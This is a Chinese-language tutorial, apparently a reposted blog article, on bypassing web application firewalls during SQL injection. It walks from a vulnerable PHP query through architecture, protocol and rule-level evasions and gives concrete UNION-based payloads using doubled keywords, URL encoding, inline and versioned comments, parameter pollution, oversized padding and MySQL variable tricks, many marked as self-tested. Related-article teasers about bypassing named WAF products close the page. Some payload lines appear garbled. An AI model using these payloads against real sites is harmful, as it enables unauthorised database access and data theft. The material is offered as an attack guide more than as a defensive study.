SQL注入繞過waf的一萬種姿勢

2022-02-19 09:55:22 字數 4062 閱讀 5918

針對**審計,有的waf採用**的方式,編寫過濾函式,如下blacklist()函式所示:

1 ........23

$id=$_get['id'];45

$id=blacklist($id);6

7$sql="select * from users where id='$id' limit 0,1";89

$result=mysql_query($sql

);10

11$row=mysql_fetch_array($result

);12

13 .........

1

function blacklist($id

)

(1)大小寫變形,這裡也許無法成功,因為函式使用了正則匹配,/or/i   ;因此可以考慮重複,比如使用:oorr,就算過濾了乙個or,仍然還剩乙個or

(2)等價替換,將and——>&&     or——>||

(一)架構層繞waf(1)使用者本身是進入waf後訪問web頁面的,只要我們找到web的真實ip,繞過waf就不在話下了。

(2)在同網段內,頁面與頁面之間,伺服器與伺服器之間,通過waf的保護,然後展示給我們,只要我們在內部服務之間進行訪問,即可繞過waf

(3)邊界漏洞,同樣類似於同網段資料,我們可以利用已知伺服器存在的ssrf漏洞,將資料直接傳送給同網段的web2進行sql注入

(二)資源限制角度繞waf有的時候,由於資料太大,會導致waf無法將所有的資料都檢測完,這個時候會忽略掉我們代入的sql注入語句,從而繞過waf,即:使用post請求,對伺服器請求很大資源逃逸sql注入語句。

(三)協議層面繞過waf(1)基於協議層,有的waf只過濾get請求,而對post請求沒做別的限制,因此,可以將get型換為post型

(3)引數汙染:有的waf僅對部分內容進行過濾,例如:

index.php?id=1&id=2
這樣的引數id=1,waf也許僅對前部分的id=1進行檢測,而後面的引數並不做處理。這樣我們就可以在id=2的後面寫入sql注入語句進行sql注入

(四)規則層面繞過(1)首先使用比較特殊的方法進行繞過:

可以在注入點,測試waf到底攔截的哪一部分的資料,如果是空格,可以嘗試:/*%!%2f*/

如果是對sql的函式進行了過濾,可以嘗試:xx()         ——>        xx/*%!%2f*/()

(2)以下為常見的規則替換,部分姿勢:

以下為總結方式:

(3)大小寫

(4)替換關鍵字(關鍵字重複)

select * from users where id=1 ununionion selselectect 1,2,3;
(5)編碼

select * from users where id=1 union%0aselect%0a1,2,3;//自測成功,但%2b不成功
select * from users where id=1%75nion select 1,2,3;//自測成功,繼續加油
(6)內聯注釋

select * from users where id=1 union/**/select/**/1,2,3;//自測成功,繼續加油
(7)等價函式替換

version()——> @@version 

mid :mysql

從第五位字串開始擷取,直到最後

從第三個字串開始擷取,擷取三位

從第三個字串開始擷取,直到最後

從第二個字串開始擷取,擷取五個字元

substring :mysql、sqlserver從第三個字串開始擷取,直到最後

自測成功,繼續加油

(8)特殊符號

+# ——>

%23(#)

--+(注釋符)

\\\\    `(上引號) @

select * from users where id=1 union+select+1,2,3;//

自測成功,繼續加油

(9)內聯注釋加!

select * from users where id=1/*!union*/select 1,2,3;//

自測成功,繼續加油

(10)緩衝區溢位

select * from users where id=1  and (select 1)=(select 0xa*1000) union select 1,2,version();//

自測成功,繼續加油

0xa*1000  指的是0xa後面的 "a" 重複1000次

一般來說對應用軟體構成緩衝區溢位都需要比較大的測試長度

這裡1000僅供參考,在一些情況下也可以更短

(11)mysql特性繞過

1.= 等於

:= 賦值

@ @+變數名可直接呼叫

select * from users where id=1 union select@test=user(),2,3;//1

select * from users where id=1 union select@test:=user(),2,3;//

自測可用,繼續加油,root

select * from users where id=1 union select@,2,3;//null

(12)黑魔法

selectfrom;//自測成功,繼續加油,root

SQL注入中的WAF繞過技術

論壇 法克論壇 目錄 1.大小寫繞過 2.簡單編碼繞過 3.注釋繞過 4.分隔重寫繞過 5.http引數汙染 hpp 6.使用邏輯運算子 or and繞過 7.比較操作符替換 8.同功能函式替換 9.盲注無需or和and 10.加括號 11.緩衝區溢位繞過 1.大小寫繞過 這個大家都很熟悉,對於一些...

某waf實戰SQL注入繞過fuzz過程

01 環境簡介 伺服器 windows2008 r2 軟體 phpstudy20180211 php 5.4.45 mysql 5.5.53 某鎖win 3.1.18.13服務端版本 02 fuzz過程 以基於union注入為例 fuzz order by 過程如下 id 1 order 不攔截 i...

雲鎖最新版SQL注入WAF繞過

這裡使用sqli labs第一關字元型注入來測試 直接使用and 1 1肯定會被攔截 使用 26 26即可代替and繞過,1 1可以用true表示,1 2可以用false表示 直接使用order by被攔截 使用order 60000ghtwf01 by繞過 和order by一樣繞過姿勢,使用un...